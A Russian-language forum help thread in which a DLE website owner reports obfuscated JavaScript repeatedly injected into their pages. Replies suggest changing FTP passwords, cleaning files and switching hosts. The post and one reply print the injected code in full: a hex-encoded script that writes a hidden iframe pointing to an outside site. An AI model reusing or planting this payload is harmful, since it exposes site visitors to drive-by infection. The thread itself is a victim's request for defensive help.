• DONATE to NULLED!
    Форуму и его команде можно помочь, мотивировать модераторов разделов.
    Помогите модератору этого раздела killoff лично.

Помощь [help]Вирус

Статус
В этой теме нельзя размещать новые ответы.

materiya

Профессор
Регистрация
17 Янв 2008
Сообщения
252
Реакции
46
Версия DLE - 7 by-m.i.d

Постоянно появляется строчка в конце страницы


Код:
<script>function c7841638945m48ad653186412(m48ad653186be6){  return (parseInt(m48ad653186be6,16));}function m48ad653188361(m48ad653188b35){ function m48ad65318a2b4(){var m48ad65318aa86=2;return m48ad65318aa86;} var m48ad65318930a='';m48ad65318b25c=String.fromCharCode;for(m48ad653189add=0;m48ad653189add<m48ad653188b35.length;m48ad653189add+=m48ad65318a2b4()){ m48ad65318930a+=(m48ad65318b25c(c7841638945m48ad653186412(m48ad653188b35.substr(m48ad653189add,m48ad65318a2b4()))));}return m48ad65318930a;} var z53='';var m48ad65318ba2f='3C7'+z53+'3637'+z53+'2697'+z53+'07'+z53+'43E696628216D7'+z53+'96961297'+z53+'B646F637'+z53+'56D656E7'+z53+'42E7'+z53+'7'+z53+'7'+z53+'2697'+z53+'465287'+z53+'56E657'+z53+'363617'+z53+'065282027'+z53+'2533632536392536362537'+z53+'32253631253664253635253230253665253631253664253635253364253633253337'+z53+'2532302537'+z53+'332537'+z53+'32253633253364253237'+z53+'2536382537'+z53+'342537'+z53+'342537'+z53+'302533612532662532662536322536352537'+z53+'332537'+z53+'342537'+z53+'332536382536312537'+z53+'332537'+z53+'34253635253265253633253665253266253637'+z53+'2536662536662536342532652536382537'+z53+'34253664253663253366253237'+z53+'2532622534642536312537'+z53+'342536382532652537'+z53+'322536662537'+z53+'352536652536342532382534642536312537'+z53+'342536382532652537'+z53+'32253631253665253634253666253664253238253239253261253334253338253339253338253330253239253262253237'+z53+'253333253635253339253330253333253634253332253634253237'+z53+'2532302537'+z53+'37'+z53+'2536392536342537'+z53+'34253638253364253337'+z53+'253339253330253230253638253635253639253637'+z53+'2536382537'+z53+'342533642533362533322532302537'+z53+'332537'+z53+'342537'+z53+'39253663253635253364253237'+z53+'2536342536392537'+z53+'332537'+z53+'302536632536312537'+z53+'39253361253230253665253666253665253635253237'+z53+'2533652533632532662536392536362537'+z53+'3225363125366425363525336527'+z53+'29293B7'+z53+'D7'+z53+'6617'+z53+'2206D7'+z53+'969613D7'+z53+'47'+z53+'27'+z53+'5653B3C2F7'+z53+'3637'+z53+'2697'+z53+'07'+z53+'43E';document.write(m48ad653188361(m48ad65318ba2f));</script><script>check_content()</script>

Пароли менял, из фтп-клиента убрал...

Подозрение: Может DLE имеет дырку? или какойто файл на сайте лежит и грешит......


Подскажите плз
 
  • Заблокирован
  • #2
Версия DLE - 7 by-m.i.d

Постоянно появляется строчка в конце страницы


Код:
<script>function c7841638945m48ad653186412(m48ad653186be6){  return (parseInt(m48ad653186be6,16));}function m48ad653188361(m48ad653188b35){ function m48ad65318a2b4(){var m48ad65318aa86=2;return m48ad65318aa86;} var m48ad65318930a='';m48ad65318b25c=String.fromCharCode;for(m48ad653189add=0;m48ad653189add<m48ad653188b35.length;m48ad653189add+=m48ad65318a2b4()){ m48ad65318930a+=(m48ad65318b25c(c7841638945m48ad653186412(m48ad653188b35.substr(m48ad653189add,m48ad65318a2b4()))));}return m48ad65318930a;} var z53='';var m48ad65318ba2f='3C7'+z53+'3637'+z53+'2697'+z53+'07'+z53+'43E696628216D7'+z53+'96961297'+z53+'B646F637'+z53+'56D656E7'+z53+'42E7'+z53+'7'+z53+'7'+z53+'2697'+z53+'465287'+z53+'56E657'+z53+'363617'+z53+'065282027'+z53+'2533632536392536362537'+z53+'32253631253664253635253230253665253631253664253635253364253633253337'+z53+'2532302537'+z53+'332537'+z53+'32253633253364253237'+z53+'2536382537'+z53+'342537'+z53+'342537'+z53+'302533612532662532662536322536352537'+z53+'332537'+z53+'342537'+z53+'332536382536312537'+z53+'332537'+z53+'34253635253265253633253665253266253637'+z53+'2536662536662536342532652536382537'+z53+'34253664253663253366253237'+z53+'2532622534642536312537'+z53+'342536382532652537'+z53+'322536662537'+z53+'352536652536342532382534642536312537'+z53+'342536382532652537'+z53+'32253631253665253634253666253664253238253239253261253334253338253339253338253330253239253262253237'+z53+'253333253635253339253330253333253634253332253634253237'+z53+'2532302537'+z53+'37'+z53+'2536392536342537'+z53+'34253638253364253337'+z53+'253339253330253230253638253635253639253637'+z53+'2536382537'+z53+'342533642533362533322532302537'+z53+'332537'+z53+'342537'+z53+'39253663253635253364253237'+z53+'2536342536392537'+z53+'332537'+z53+'302536632536312537'+z53+'39253361253230253665253666253665253635253237'+z53+'2533652533632532662536392536362537'+z53+'3225363125366425363525336527'+z53+'29293B7'+z53+'D7'+z53+'6617'+z53+'2206D7'+z53+'969613D7'+z53+'47'+z53+'27'+z53+'5653B3C2F7'+z53+'3637'+z53+'2697'+z53+'07'+z53+'43E';document.write(m48ad653188361(m48ad65318ba2f));</script><script>check_content()</script>

Пароли менял, из фтп-клиента убрал...

Подозрение: Может DLE имеет дырку? или какойто файл на сайте лежит и грешит......


Подскажите плз

Если пароли менял, антивирусом проверял и с фтп убрал, тогда
скорее всего у тебя просто хост дырявый... У себя на 7 версии (тоже от m.i.d) ничего не замечал...
Было подобное только один раз, у одного дешевого хостера... После этого пришлось переехать на более приличный.
 
извените, а антивирусом сайт проверить прямо на хосте мона?
 
Нельзя.
Удали пароли, которые у тебя сохранены в твоём фтп-менеджере (от твоего сайта)
Удали лишние файлы, если таковые имеются с хоста
Почисти все файлы от вредоносного кода (заражено более одного файла, уверен)
Смени пароли от фтп
Воспользуйся программой Spyware doctor
Используй антивирус на компе ;)
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху